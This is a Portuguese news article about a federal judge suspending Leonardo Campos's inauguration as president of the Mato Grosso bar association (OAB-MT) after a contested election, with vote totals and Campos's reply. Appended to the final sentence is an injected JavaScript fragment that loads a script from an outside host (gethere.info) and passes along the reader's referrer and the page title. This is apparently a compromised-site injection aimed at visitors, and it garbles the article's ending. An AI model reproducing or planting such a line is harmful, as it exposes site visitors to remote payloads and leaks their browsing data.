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Olhar Jurídico
O juiz César Augusto Bearsi, da 3ª Vara Federal, suspendeu a posse do advogado Leonardo Campos como presidente da Ordem dos Advogados do Brasil (OAB) em Mato Grosso. A liminar atende a pedido do candidato derrotado Fábio Capilé, que entrou no processo como litisconsorte passivo, e foi concedida nesta terça-feira (15). A posse estava marcada para a próxima sexta-feira (18).
Leonardo concorreu nas eleições do dia 27 de novembro sob efeito de liminar expedida pelo juiz federal Paulo Sodré, após ter a candidatura cassada pela comissão eleitoral por abuso de poder econômico. No entanto, de acordo com o juiz Bearsi, a liminar que garantiu a candidatura não garante a posse, “nem poderia garantir, já que não há pedido nesse sentido”, diz trecho da liminar.
O magistrado transferiu a decisão sobre a posse para a esfera administrativa da OAB. “Entendo que a posse do impetrante não pode ser fundada na liminar que foi aqui deferida, devendo aguardar enquanto o Conselho Federal da OAB delibera sobre o recurso administrativo que tem por objeto justamente a regularidade do processo eleitoral objeto desta ação”, escreveu.
Bearsi afirmou que, para não gerar um risco reverso na liminar obtida, que levasse a consequências definitivas, o melhor seria esperar o Conselho Federal analisar o recurso administrativo interposto pela chapa de Leonardo Campos quanto à decisão da comissão eleitoral.
Mesmo sub judice, Leonardo Campos venceu as eleições da OAB-MT com 2.483 votos, enquanto o segundo colocado, José Moreno, obteve 1.794 votos. O autor do pedido de suspensão da posse, Fábio Capilé, foi o terceiro mais votado, com 1.357 votos, seguido por Claudia Aquino e Pio da Silva.
Outro lado
Em nota, a assessoria de Leonardo Campos informou que ele vai recorrer da suspensão, e que não há, na decisão do magistrado, qualquer dúvida sobre o fato de a chapa dele ter sido eleita para presidir a OAB.
“Respeitamos a decisão mas já adotamos as providências cabíveis e estamos recorrendo, mantendo-se no propósito de empossar a nova diretoria. Tem que ressaltar que a referida decisão reitera que jamais foi reconhecido pelo Tribunal Regional Federal da 1ª Região (TRF1) qualquer indício que colocasse em risco a eleição da chapa. Leonardo Campos segue tranquilo com seu compromisso de fazer uma gestão transparente e na defesa de todos os advogados”, diz a nota.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
